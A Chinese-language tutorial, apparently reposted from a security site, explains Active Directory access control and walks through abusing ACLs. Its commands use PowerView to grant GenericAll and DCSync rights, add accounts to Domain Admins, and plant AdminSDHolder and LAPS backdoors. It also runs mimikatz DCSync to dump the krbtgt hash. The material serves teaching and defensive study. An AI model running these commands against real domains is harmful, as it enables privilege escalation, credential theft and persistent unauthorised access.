概述

首先想要了解ACL首先需要了解Access Control Model(访问控制模型),根据官网
(https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model)给出的定义:访问控制模型能够控制进程访问一些安全对象,或者是控制进程执行各种系统管理任务。原文:The access control model enables you to control the ability of a process to access securable objects or to perform various system administration tasks。
用通俗一点的话来说ACM就是一个判断你在一个档案馆(在这里可以理解为整个域)里是否有权限打开某个档案抽屉(用户对象、用户组对象、Computer对象),并且是否能在这个档案抽屉中取走、存放、修改档案(读、写、修改)的一个模型。
访问模型包含哪些部分:
1、Access Tokens(访问tokens)2、Security Descriptors(安全描述符) a、Discretionary Access Control List (DACL) b、System Access Control List (SACL)Access Control Lists(ACL)Access Control Entries(ACE)Access Rights and Access Masks(访问权限和访问掩码)
Access Token:
当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等等信息:
The security identifier (SID) for the user's accountSIDs for the groups of which the user is a memberA logon SID that identifies the current logon sessionA list of the privileges held by either the user or the user's groupsAn owner SIDThe SID for the primary groupThe default DACL that the system uses when the user creates a securable object without specifying a security descriptorThe source of the access tokenWhether the token is a primary or impersonation tokenAn optional list of restricting SIDsCurrent impersonation levelsOther statistics
Security Descriptors安全描述符
SID(Security Identifiers)即安全描述符。安全描述符标识对象的所有者,并包含以下访问控制列表:
1、Discretionary Access Control List (DACL) 自由访问控制列表
2、System Access Control List (SACL) 系统访问控制列表
每一种控制列表中都存在若干条ACE(Access Control Entries)



高级安全设置中的审核就是SACL的列表







安全描述符枚举
上面说了什么是安全描述符,那么安全描述符枚举就是在域中如何去枚举某个用户或者是某个域内对象的安全描述符的过程。通过.NET中的 System.DirectoryServices.DirectorySearcher和System.DirectoryServices.SecurityMasks类可以对域内的安全描述符进行枚举,比如下面的这段powershell代码就可以枚举域内用户xiaom的ACE
$Searcher = New-ObjectSystem.DirectoryServices.DirectorySearcher('(samaccountname=xxm)')$Searcher.SecurityMasks =[System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Owner$Result = $Searcher.FindOne()$Result.Properties.ntsecuritydescriptor[0].gettype()$ADSecurityDescriptor = New-ObjectSystem.DirectoryServices.ActiveDirectorySecurity$ADSecurityDescriptor.SetSecurityDescriptorBinaryForm($Reslt.Properties.ntsecuritydescriptor[0])$ADSecurityDescriptor$ADSecurityDescriptor.Access
这里枚举的是安全描述符中的DACL中的每一个ACE(一共13条,和DACL中对应):

在Powerview的结果中不是根据每一条ACE来显示的,而是把每一个ACE中的每一个权限单独显示一条,所以结果的个数不等于DACL列表中的数量。
. .powerview.ps1 Get-DomainObjectAcl -Identity xxm -ResolveGUIDs

任何经过域验证的用户都可以枚举默认域中大多数对象的安全描述符。
线程与安全对象之间的交互:
在Access check中,系统将线程访问令牌中的安全信息与安全对象安全描述符中的安全信息进行比较。每一个进程都有一个primary token,用于描述与该进程关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象进行交互时,系统将使用primary token。
系统检查对象的DACL,查找应用于用户的ACE,并从线程的访问令牌中分组SID,系统会检查每个SID,知道授予或拒绝访问,或者知道没有其他ACE要检查为止。
The Security Reference Monitor(SRM 安全参考监视器)
The Security Reference Monitor直译为SRM 安全参考监视器,在ACL中排列顺序继承等等都可能影响最后的结果,而SRM就是起到对ACE顺序的评估作用。可参考:https://networkencyclopedia.com/security-reference-monitor/
https://ldapwiki.com/wiki/Security%20Reference%20Monitor 当登录的用户访问对象时,安全性参考监视器将检查对象的安全性描述符,以查看MSFT访问令牌中列出的SID是否与ACE条目匹配。如果存在匹配项,则匹配ACE中列出的安全权限将应用于该用户。 当“域管理员”组的成员请求更改用户密码的能力时,SRM必须决定是否允许该请求。SRM会评估目标用户的DACL,确定“域管理员”组(进而是该组的成员)对用户具有完全控制权。 评估对象的DACL时,SRM将按规范顺序读取ACE,ACE的排序如下:
( 1 ) 明确定义的DENY ACE。
( 2 ) 明确定义的ALLOW ACE。
( 3 ) 继承的DENY ACE。
( 4 ) 继承的ALLOW ACE。 SRM这个东西知道它的作用就可以了,不需要太深究。 可参考: https://docs.microsoft.com/zh-cn/windows/win32/secauthz/dacls-and-aces 特殊权限的实例 ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。所以这里说的特殊权限是指一些非常有利用价值的权限:
GenericAllGenericWriteWriteOwner(修改所有者)WriteDACL:写DACL(有一个解释是WriteDACL是在攻击链中启用其他权利的权利)AllExtendedRightsAddMembers:将任意用户、组或计算机添加到目标组。ForceChangePassword:强制更改密码,在不知道当前密码的情况下更改目标用户的密码。
GenericAll
GenericAll在安全描述符中的Access Mask中进行标识,是包含了所有其他权限的权限。授予对目标对象的完全控制权,包括WriteDacl 和 WriteOwner 特权。可以使用PowerView中的Add-DomainObjectAcl进行利用。下面举例看一下如何给一个User对象添加一条GenericAll的ACEGenericAll on User
使用zhangs账户和xxm账户做演示:两个账户的SID分别为:
zhangs:S-1-5-21-3305457972-2547556381-742707129-1604xxm:S-1-5-21-3305457972-2547556381-742707129-1105
这里使用zhangs账户,所在的主机是win2012,然后使用PowerView的函数Get-ObjectACL查看对zhangs具有GenericAll权限的项
Get-ObjectAcl -SamAccountName zhangs -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Get-ObjectAcl -SamAccountName xxm -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}

Add-DomainObjectAcl -TargetIdentity xxm -PrincipalIdentityzhangs -Rights All -Verbose


zhangs账户对xxm账户具有完全管理(GenericAll)权限
在设置ACL之前和设置之后使用zhangs账户权限设置xxm账户的密码可以看到区别(设置完成之后会立即生效)
net user xxm admin123! /domain

runas /noprofile /user:testxxm cmd
运行之后会弹出一个xxm权限的cmd窗口,即可使用xxm权限执行任意命令

Get-NetGroup "domain admins"

Add-DomainObjectAcl -TargetIdentity "domain admins" PrincipalIdentity xiaom -Rights all -Verbose

Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=test,DC=local"}
可以看到在结果中有一条SID为zhangs的SID,权限为GenericAll

net group "domain admins" xxm /add /domain
可以看到已经成功将xxm加入管理员组,然后再将xxm移除出domain admins了,并将DACL中的内容删除之后再尝试加入,发现已经被拒绝。

Add-DomainGroupMember -Identity 'Domain Admins' -Members'test'
GenericAll/GenericWrite/Write on Computer
这个权限能够对Computer的属性进行改写,利用方式是结合Kerberos RDBC来进行攻击这个具有可写权限的计算机。比如此时对Win2012这台主机具有写权限,那么可以使用Powermad工具创建一个假的域内主机testrbcd,然后将Win2012主机的msDS-AllowedToActOnBehalfOfOtherIdentity字段设置为testrbcd$
Set-ADComputer win2012 PrincipalsAllowedToDelegateToAccount testrbcd$
然后使用Rubeus工具获取能够访问win2012特定SPN的票据。
详情可参考:http://blog.leanote.com/post/ambition/95dac75ccad8。
GenericWrite
GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。


net group "domain admins" zhangs /add /domain


net group "domain admins" xxm /add /domain

CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner




Organization Management组

此管理角色组成员具有对 Exchange 对象及其在 Exchange 组织中的属性进行管理的权限。另外,成员还可以代表组织中的角色组和管理角色。
在安装Exchange时会创建这个组,赋予其访问Exchange相关活动的权限。除了能访问这些Exchange设置选项之外,该组的成员还可以修改其他Exchange安全组的组成员关系。比如Exchange Trusted Subsystem安全组。这个组是Exchange Windows Permissions安全组的成员之一。
Exchange Windows Permissions安全组具备当前域对象的writeDACL权限。也就是说只要成为Organization Management组的成员,我们就可以提升成为域管理员权限。复现流程可以参考: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/
NTLMRelay与DCSync
NTLMRelay是一个已经存在了很久的攻击方式,在2018年和2019年分别爆出了关于Exchange的SSRF漏洞(CVE-2018-8581)+NTLMRelay攻击、CVE-2019-1040 NTLM协议漏洞的两种利用方式,传播最广泛的利用方式就是通过这两个漏洞对域对象的ACL进行改写,实现DCSync,从而获取krbtgt账户的HASH值。关于CVE-2018-8581和CVE-2019-1040在这里就不再说明,可以参考:https://paper.seebug.org/833/
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/?from=timeline&isappinstalled=0 https://mp.weixin.qq.com/s/NEBi8NflfaEDL2qw1WIqZw 下面主要说一下DCSync与ACL的关系。
DCSync需要什么权限
一个域内用户想要通过DCSync获取krbtgt的HASH值需要在域对象或者是域内的高权限组中有以下三种权限的其中一个:复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes) 复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个) 正在复制筛选集中的目录更改Replicating Directory Changes In Filtered Set (rare, only required in some environments)
这几个权限在DACL的设置页是可以看到的:

如何给一个用户添加DCSync权限
除了上面的利用方式之外,如果想单纯的尝试给一个账号添加DCSync权限,或者是在有了高权限账号的情况下希望存留DCSync的后门,可以使用powerviewer.ps1的Add-DomainObjectAcl函数实现:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync
执行之后会在域对象(”DC=test,DC=local”)的DACL中添加一条主体为zhangs的权限为”复制目录更改”的ACE:

.mimikatz.exe "lsadump::dcsync /user:testkrbtgt" "exit"
注意,这里复制目录更改权限的ACE是添加在域对象DC=test,DC=local上的。Invoke-ACLPwn
运行时需要.NET 3.5环境,Windows Server 2012安装遇到报错,最后的解决方法(需要在网上下载SxS的安装包 https://pan.baidu.com/share/init?surl=kDgdYerM0lVB32Q_IEqLUw提取码:gwzk):
dism.exe /online /enable-feature /all /featurename:NetFX3/Source:F:SourcesSxS
GitHub地址:https://github.com/fox-it/Invoke-ACLPwn背景信息在发布者博客上: https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
环境需要:
.NET 3.5 + sharphound.exe + mimikatz.exe
用法示例:
.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -NoDCSync.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe -userAccountToPwn 'Administrator'.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe -LogToFile.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe -NoSecCleanup.Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'
使用第一条标识了-NoDCSync(不会做DCSync的动作,只判断是否能够存在能够DCSync的权限)的命令:


2、设置一条拒绝完全控制的ACE

Get-DomainObjectAcl -Identity hideuser -domain test.local -Resolve









Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=test,DC=local" -PrincipalIdentity zhangs -Rights All


reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
60秒之后就可以使用xiaom权限添加任意用户到domain admins组http://www.selfadsi.org/extended-ad/ad-permissions-adminsdholder.htm
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/ 关于LAPS的隐藏后门 LAPS的全称是Local Administrator Password Solution,主要作用是将域内主机的本地管理员密码存储在LDAP中,作为计算机账户的一个机密属性,配合GPO实现自动定期修改密码,设置密码长度、强度等。LAPS通过首先将Active Directory架构扩展为包括两个新字段 ms-MCS-AdmPwd(密码本身)和 ms-MCS-AdmPwdExpirationTime(密码过期时)来完成其方法。 具体的配置和如何查询明文密码可以参考 http://drops.xmd5.com/static/drops/tips-10496.html 此时的环境:一个配置了LAPS的testwin7主机(属于testou)、一个域中的普通的测试账号zhangs

Get-AdmPwdPassword –ComputerName testwin7
在zhangs登录的主机上使用LAPS UI尝试获取testwin7的本地密码没有成功:

Set-AdmPwdReadPasswordPermission -Identity testou AllowedPrincipals zhangs
此时再在zhangs主机上尝试获取testwin7密码:

Find-AdmPwdExtendedRights -Identity testou IncludeComputers | fl




针对域对象的后门
上面所说的后门都是针对User Objects或者Group Objects的,这里要说的是针对Domain Objects。通过在Domain对象的DACL中添加ACE能够赋予用户特定的权限。因为实现这个操作需要较高权限,所以可以使用,这里使用powerviewer.ps1的Add-DomainObjectAcl函数实现:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync

.mimikatz.exe "lsadump::dcsync /user:testkrbtgt" "exit"

针对组策略对象的ACL
GPO中的ACL同样能够进行权限维持等操作,修改SYSVOL的属性,意味着主体可以修改GPO的设置。



参考链接
http://www.selfadsi.org/extended-ad/ad-permissions-adminsdholder.htm
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/
https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
原文来源:安全客
最后
以上就是孝顺乌冬面为你收集整理的域用户更改密码提示拒绝访问_AD域中的ACL攻防探索的全部内容,希望文章能够帮你解决域用户更改密码提示拒绝访问_AD域中的ACL攻防探索所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复